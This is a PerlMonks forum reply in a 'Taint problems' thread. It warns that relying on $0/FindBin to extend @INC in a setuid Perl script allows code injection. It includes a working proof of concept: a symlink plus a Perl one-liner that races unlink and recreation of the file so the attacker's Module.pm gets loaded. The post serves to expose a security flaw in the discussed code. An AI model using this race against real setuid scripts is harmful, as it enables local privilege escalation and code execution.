in reply to Re^2: Taint problems
in thread Taint problems
You can't trust $0. The code you provided makes code injection possible.
If you're writing a server where your attackers are remote, this isn't a problem. If you're writing a setuid script, this is a problem.
Proof of concept follows.
Victim:
$ cat ../safe/script.pl #!/usr/bin/perl -wT BEGIN { # amend @INC without taint use FindBin; my $path = $FindBin::RealBin; $path =~ /^(.+)$/; $path = $1; my $relative_path = 'lib'; unshift @INC, "$path/$relative_path"; } use Module; $ cat ../safe/lib/Module.pm print("All's well\n"); 1;
Attacker:
$ ln -s ../safe/script.pl $ cat lib/Module.pm print("Code injection!\n"); 1;
Normal run:
$ ../safe/script.pl All's well
Run with code injection:
$ perl -MTime::HiRes=sleep -e'exec $ARGV[0] if !fork; sleep $ARGV[1]; +unlink $ARGV[0]; open $fh, ">", $ARGV[0]; wait' script.pl 0.01 Code injection!
Works every time!
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re^4: Taint problems
by rowdog (Curate) on Dec 03, 2008 at 01:03 UTC | |
|
Re^4: Taint problems
by SilasTheMonk (Chaplain) on Dec 03, 2008 at 01:23 UTC | |
by ikegami (Patriarch) on Dec 03, 2008 at 03:24 UTC | |
by rowdog (Curate) on Dec 10, 2008 at 19:26 UTC | |
by ikegami (Patriarch) on Dec 10, 2008 at 20:11 UTC | |
by rowdog (Curate) on Dec 11, 2008 at 19:23 UTC | |
by ikegami (Patriarch) on Dec 11, 2008 at 20:01 UTC | |
|